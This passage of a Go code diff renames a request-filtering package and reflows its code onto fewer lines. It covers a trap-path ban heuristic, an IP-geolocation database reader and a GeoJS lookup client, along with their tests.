"log line has heuristic %q, want active_ban",
|
|
||||||
line.Heuristic,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantTags(t, line, "vpn")
|
wantTags(t, line, "vpn")
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
|
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
|
||||||
|
|
||||||
@@ -21,11 +21,7 @@ type trapPaths struct{}
|
|||||||
|
|
||||||
func (trapPaths) name() string { return "trap_paths" }
|
func (trapPaths) name() string { return "trap_paths" }
|
||||||
|
|
||||||
func (trapPaths) check(
|
func (trapPaths) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
now time.Time,
|
|
||||||
) *verdict {
|
|
||||||
path := rules.Path(rq.in)
|
path := rules.Path(rq.in)
|
||||||
if !slices.Contains(rq.h.config.TrapPaths, path) &&
|
if !slices.Contains(rq.h.config.TrapPaths, path) &&
|
||||||
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
|
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"net/http"
|
"net/http"
|
||||||
@@ -39,27 +39,15 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A client in SWW_ALLOW_NETS is not checked.
|
// A client in SWW_ALLOW_NETS is not checked.
|
||||||
s.request(
|
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
||||||
allowed,
|
|
||||||
"/xmlrpc.php",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
|
|
||||||
// The query is not part of the path.
|
// The query is not part of the path.
|
||||||
line := s.request(
|
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
|
||||||
client,
|
requestlog.ActionTemporarilyBanned)
|
||||||
"/wp-login.php?redirect_to=x",
|
|
||||||
http.StatusTooManyRequests,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
wantRuleIDs(t, line)
|
wantRuleIDs(t, line)
|
||||||
|
|
||||||
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
|
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
|
||||||
t.Errorf(
|
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
|
||||||
"log line has ban_expires %q, want seven days on",
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
netblock := netip.MustParsePrefix(client + "/32")
|
netblock := netip.MustParsePrefix(client + "/32")
|
||||||
@@ -89,63 +77,36 @@ func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// The next request is refused under the ban, and makes it permanent.
|
// The next request is refused under the ban, and makes it permanent.
|
||||||
line = s.get(
|
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
|
||||||
client,
|
|
||||||
http.StatusTooManyRequests,
|
|
||||||
requestlog.ActionPermanentlyBanned,
|
|
||||||
)
|
|
||||||
if line.BanExpires != permanent {
|
if line.BanExpires != permanent {
|
||||||
t.Errorf(
|
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
|
||||||
"log line has ban_expires %q, want permanent",
|
|
||||||
line.BanExpires,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTrapPathRefusalNamesItsHeuristicAndPath(t *testing.T) {
|
func TestTrapPathRefusalNamesItsHeuristicAndPath(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, _ := startWithClock(
|
s, _, _ := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{trapPaths: trapPathList},
|
|
||||||
)
|
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusForbidden,
|
||||||
client,
|
requestlog.ActionTemporarilyBanned)
|
||||||
"/wp-login.php?redirect_to=x",
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionTemporarilyBanned,
|
|
||||||
)
|
|
||||||
wantHeuristic(t, line, "trap_paths", `{"path": "/wp-login.php"}`)
|
wantHeuristic(t, line, "trap_paths", `{"path": "/wp-login.php"}`)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
|
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, _, server := startWithClock(
|
s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{trapPaths: trapPathList},
|
|
||||||
)
|
|
||||||
|
|
||||||
// %2577 decodes once to %77, not to w.
|
// %2577 decodes once to %77, not to w.
|
||||||
s.request(
|
s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
|
||||||
otherClient,
|
|
||||||
"/%2577p-login.php",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
s.request(client, "/%77p-login.php", http.StatusForbidden,
|
s.request(client, "/%77p-login.php", http.StatusForbidden,
|
||||||
requestlog.ActionTemporarilyBanned)
|
requestlog.ActionTemporarilyBanned)
|
||||||
|
|
||||||
// The ban's notes give the path as the client sent it.
|
// The ban's notes give the path as the client sent it.
|
||||||
got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
||||||
if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
|
if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
|
||||||
t.Fatalf(
|
t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
|
||||||
"bans %+v, want one whose notes give the trap path /%%77p-login.php",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -169,12 +130,7 @@ func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
|
|||||||
mode: observe,
|
mode: observe,
|
||||||
})
|
})
|
||||||
|
|
||||||
line := s.request(
|
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
||||||
client,
|
|
||||||
"/xmlrpc.php",
|
|
||||||
http.StatusOK,
|
|
||||||
requestlog.ActionForward,
|
|
||||||
)
|
|
||||||
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
||||||
|
|
||||||
// No ban was made.
|
// No ban was made.
|
||||||
@@ -236,11 +236,7 @@ func read(path string) (*maxminddb.Reader, error) {
|
|||||||
|
|
||||||
reader, err := maxminddb.OpenBytes(data)
|
reader, err := maxminddb.OpenBytes(data)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf(
|
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
||||||
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
|
|
||||||
path,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return reader, nil
|
return reader, nil
|
||||||
|
|||||||
@@ -26,21 +26,11 @@ const (
|
|||||||
testClient = "203.0.113.9/32"
|
testClient = "203.0.113.9/32"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
|
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
germany := lookuptest.Network{
|
germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
|
||||||
ASN: "AS64496",
|
northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
|
||||||
ASName: "Example Net",
|
|
||||||
Country: "DE",
|
|
||||||
}
|
|
||||||
northKorea := lookuptest.Network{
|
|
||||||
ASN: "AS64511",
|
|
||||||
ASName: "Other Net",
|
|
||||||
Country: "KP",
|
|
||||||
}
|
|
||||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
testNetblock: germany,
|
testNetblock: germany,
|
||||||
@@ -72,13 +62,7 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
|
|||||||
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
||||||
Answered: now,
|
Answered: now,
|
||||||
}) {
|
}) {
|
||||||
t.Errorf(
|
t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
|
||||||
"%s has the answer %+v, want %+v, answered %s",
|
|
||||||
client,
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
now,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -138,9 +122,7 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
|||||||
// reading due by then is done. The test sends the changes itself, as the
|
// reading due by then is done. The test sends the changes itself, as the
|
||||||
// watch of a directory cannot run in a bubble.
|
// watch of a directory cannot run in a bubble.
|
||||||
|
|
||||||
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
|
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -155,8 +137,7 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
|
|||||||
other := filepath.Join(dir, "replacement.mmdb")
|
other := filepath.Join(dir, "replacement.mmdb")
|
||||||
writeDatabase(t, other, "KP")
|
writeDatabase(t, other, "KP")
|
||||||
|
|
||||||
//nolint:gosec // a file the test wrote
|
replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
|
||||||
replacement, err := os.ReadFile(other)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("read %s: %v", other, err)
|
t.Fatalf("read %s: %v", other, err)
|
||||||
}
|
}
|
||||||
@@ -195,20 +176,15 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
|
|||||||
wantCountry(t, f, "KP")
|
wantCountry(t, f, "KP")
|
||||||
|
|
||||||
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
|
||||||
t.Errorf(
|
t.Errorf("read at %s, with %d failures; want read now, with none",
|
||||||
"read at %s, with %d failures; want read now, with none",
|
f.LastRead(), f.ReadFailures())
|
||||||
f.LastRead(),
|
|
||||||
f.ReadFailures(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlerts(t, queue)
|
wantAlerts(t, queue)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
|
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -230,12 +206,8 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
|
|||||||
wantCountry(t, f, "DE")
|
wantCountry(t, f, "DE")
|
||||||
|
|
||||||
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
|
||||||
t.Errorf(
|
t.Errorf("read at %s, with %d failures; want read at %s, with one",
|
||||||
"read at %s, with %d failures; want read at %s, with one",
|
f.LastRead(), f.ReadFailures(), read)
|
||||||
f.LastRead(),
|
|
||||||
f.ReadFailures(),
|
|
||||||
read,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantAlerts(t, queue, alerts.Alert{
|
wantAlerts(t, queue, alerts.Alert{
|
||||||
@@ -317,11 +289,7 @@ func writeDatabase(t *testing.T, path, country string) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
testNetblock: {
|
testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
|
||||||
ASN: "AS64496",
|
|
||||||
ASName: "Example Net",
|
|
||||||
Country: country,
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -381,8 +349,7 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != len(want) ||
|
if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
||||||
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
|
|
||||||
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
t.Errorf("alerts waiting %+v, want %+v", waiting, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -211,10 +211,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
|
|||||||
|
|
||||||
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
|
||||||
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
// whatever Wait says: it returns the zero Answer at once when none is kept.
|
||||||
func (g *GeoJS) LookUpWithoutWaiting(
|
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
|
||||||
ctx context.Context,
|
|
||||||
client netip.Prefix,
|
|
||||||
) Answer {
|
|
||||||
answer, _ := g.answerOrWait(ctx, client, false)
|
answer, _ := g.answerOrWait(ctx, client, false)
|
||||||
|
|
||||||
return answer
|
return answer
|
||||||
@@ -432,21 +429,14 @@ func (g *GeoJS) keep(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if err == nil && leftOut > 0 {
|
if err == nil && leftOut > 0 {
|
||||||
err = fmt.Errorf(
|
err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients))
|
||||||
"%w %d of %d addresses",
|
|
||||||
errLeftOut,
|
|
||||||
leftOut,
|
|
||||||
len(clients),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
g.metrics.GeoJSFailures.Inc()
|
g.metrics.GeoJSFailures.Inc()
|
||||||
|
|
||||||
g.retryDelay = min(
|
g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
||||||
max(retryDelayFactor*g.retryDelay, firstRetryDelay),
|
maxRetryDelay)
|
||||||
maxRetryDelay,
|
|
||||||
)
|
|
||||||
g.retryAt = now.Add(g.retryDelay)
|
g.retryAt = now.Add(g.retryDelay)
|
||||||
g.asking = false
|
g.asking = false
|
||||||
|
|
||||||
@@ -492,12 +482,7 @@ func (g *GeoJS) request(
|
|||||||
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
ctx, cancel := context.WithTimeout(ctx, g.timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
|
||||||
ctx,
|
|
||||||
http.MethodGet,
|
|
||||||
g.url,
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
|
return nil, fmt.Errorf("make the request to GeoJS: %w", err)
|
||||||
}
|
}
|
||||||
@@ -529,8 +514,7 @@ func (g *GeoJS) request(
|
|||||||
CountryCode string `json:"country_code"`
|
CountryCode string `json:"country_code"`
|
||||||
}
|
}
|
||||||
|
|
||||||
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
|
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
|
||||||
Decode(&answers)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
return nil, fmt.Errorf("read GeoJS's answer: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -85,13 +85,8 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
|||||||
began := time.Now()
|
began := time.Now()
|
||||||
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
answer := g.LookUpWithoutWaiting(t.Context(), client)
|
||||||
|
|
||||||
if waited := time.Since(began); waited != 0 ||
|
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
|
||||||
answer != (lookup.Answer{}) {
|
t.Errorf("got %+v after %s, want no answer at once", answer, waited)
|
||||||
t.Errorf(
|
|
||||||
"got %+v after %s, want no answer at once",
|
|
||||||
answer,
|
|
||||||
waited,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -105,11 +100,7 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
|
|||||||
waitForCountry(t, g, clock, client, germany)
|
waitForCountry(t, g, clock, client, germany)
|
||||||
|
|
||||||
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
|
||||||
t.Errorf(
|
t.Errorf("the kept answer gives the country %q, want %q", got, germany)
|
||||||
"the kept answer gives the country %q, want %q",
|
|
||||||
got,
|
|
||||||
germany,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -129,9 +120,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
|||||||
|
|
||||||
var earlier sync.WaitGroup
|
var earlier sync.WaitGroup
|
||||||
|
|
||||||
earlier.Go(
|
earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
|
||||||
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
|
|
||||||
)
|
|
||||||
defer earlier.Wait()
|
defer earlier.Wait()
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -163,9 +152,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
|
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -210,11 +197,7 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
|
|||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
if waited != longerTimeout {
|
if waited != longerTimeout {
|
||||||
t.Errorf(
|
t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
|
||||||
"waited %s for the answer, want %s",
|
|
||||||
waited,
|
|
||||||
longerTimeout,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantFailures(t, m, 1)
|
wantFailures(t, m, 1)
|
||||||
@@ -357,11 +340,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
|
|||||||
|
|
||||||
got := g.LookUp(t.Context(), client)
|
got := g.LookUp(t.Context(), client)
|
||||||
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
|
||||||
t.Errorf(
|
t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
|
||||||
"waited %s for %+v, want no wait and no answer",
|
|
||||||
took,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
waitForRequests(t, geojs, 1)
|
waitForRequests(t, geojs, 1)
|
||||||
@@ -412,10 +391,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
|
|||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged, "asking GeoJS failed") ||
|
if !strings.Contains(logged, "asking GeoJS failed") ||
|
||||||
strings.Contains(logged, "203.0.113.9") {
|
strings.Contains(logged, "203.0.113.9") {
|
||||||
t.Errorf(
|
t.Errorf("logged %q, want the failure without the address asked about", logged)
|
||||||
"logged %q, want the failure without the address asked about",
|
|
||||||
logged,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -454,10 +430,7 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if queue.Suppressed() != 1 {
|
if queue.Suppressed() != 1 {
|
||||||
t.Errorf(
|
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
|
||||||
"%d alerts held back, want the repeat",
|
|
||||||
queue.Suppressed(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -481,21 +454,11 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
|
|||||||
clock.advance(time.Second)
|
clock.advance(time.Second)
|
||||||
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
|
||||||
wantRequests(t, geojs, 2)
|
wantRequests(t, geojs, 2)
|
||||||
wantAsked(
|
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
|
||||||
t,
|
|
||||||
geojs,
|
|
||||||
1,
|
|
||||||
"203.0.113.1",
|
|
||||||
"203.0.113.2",
|
|
||||||
"2001:db8:1:2::",
|
|
||||||
"203.0.113.3",
|
|
||||||
)
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
|
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -540,10 +503,7 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
|
|||||||
|
|
||||||
asked := waitForRequests(t, geojs, requests+1)
|
asked := waitForRequests(t, geojs, requests+1)
|
||||||
if len(asked[requests]) != 23 {
|
if len(asked[requests]) != 23 {
|
||||||
t.Errorf(
|
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
|
||||||
"GeoJS was asked about %d clients, want 23",
|
|
||||||
len(asked[requests]),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -571,11 +531,8 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
|
|||||||
|
|
||||||
asked := waitForRequests(t, geojs, 3)
|
asked := waitForRequests(t, geojs, 3)
|
||||||
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
if len(asked[1]) != 200 || len(asked[2]) != 1 {
|
||||||
t.Errorf(
|
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
|
||||||
"GeoJS was asked about %d and then %d clients, want 200 and 1",
|
len(asked[1]), len(asked[2]))
|
||||||
len(asked[1]),
|
|
||||||
len(asked[2]),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -730,11 +687,7 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
|||||||
|
|
||||||
switch {
|
switch {
|
||||||
case addr == unplaced:
|
case addr == unplaced:
|
||||||
item = map[string]any{
|
item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
|
||||||
"ip": addr,
|
|
||||||
"asn": 64512,
|
|
||||||
"organization_name": "Unknown",
|
|
||||||
}
|
|
||||||
case addr == leftOut && answers == answeringWithoutLeftOut:
|
case addr == leftOut && answers == answeringWithoutLeftOut:
|
||||||
continue
|
continue
|
||||||
case answers == answeringInLowerCase:
|
case answers == answeringInLowerCase:
|
||||||
@@ -851,12 +804,7 @@ func newClients() func() netip.Prefix {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// wantCountry checks the country g gives client.
|
// wantCountry checks the country g gives client.
|
||||||
func wantCountry(
|
func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
|
||||||
t *testing.T,
|
|
||||||
g *lookup.GeoJS,
|
|
||||||
client netip.Prefix,
|
|
||||||
want string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := g.LookUp(t.Context(), client).Country
|
got := g.LookUp(t.Context(), client).Country
|
||||||
@@ -895,11 +843,7 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
|
|||||||
|
|
||||||
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
||||||
// gone without an answer from GeoJS.
|
// gone without an answer from GeoJS.
|
||||||
func wantRequestsWithoutGeoJSAnswer(
|
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
|
||||||
t *testing.T,
|
|
||||||
m *metrics.Metrics,
|
|
||||||
want float64,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
||||||
@@ -939,11 +883,7 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
|
|||||||
// It then checks that client's next request does not wait but has it asked
|
// It then checks that client's next request does not wait but has it asked
|
||||||
// about again in the background, after which g gives it the country want.
|
// about again in the background, after which g gives it the country want.
|
||||||
func waitForCountry(
|
func waitForCountry(
|
||||||
t *testing.T,
|
t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
|
||||||
g *lookup.GeoJS,
|
|
||||||
clock *testClock,
|
|
||||||
client netip.Prefix,
|
|
||||||
want string,
|
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -45,11 +45,7 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
|
|||||||
|
|
||||||
// WriteRecords writes a lookup database at path that holds each record in
|
// WriteRecords writes a lookup database at path that holds each record in
|
||||||
// records for its netblock, and nothing for any other address.
|
// records for its netblock, and nothing for any other address.
|
||||||
func WriteRecords(
|
func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
|
||||||
tb testing.TB,
|
|
||||||
path string,
|
|
||||||
records map[string]mmdbtype.Map,
|
|
||||||
) {
|
|
||||||
tb.Helper()
|
tb.Helper()
|
||||||
|
|
||||||
tree, err := mmdbwriter.New(mmdbwriter.Options{
|
tree, err := mmdbwriter.New(mmdbwriter.Options{
|
||||||
|
|||||||
@@ -59,10 +59,7 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
|
|||||||
g.Load([]lookup.Answer{kept, stale})
|
g.Load([]lookup.Answer{kept, stale})
|
||||||
|
|
||||||
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
|
||||||
t.Errorf(
|
t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
|
||||||
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCountry(t, g, kept.Client, "FR")
|
wantCountry(t, g, kept.Client, "FR")
|
||||||
|
|||||||
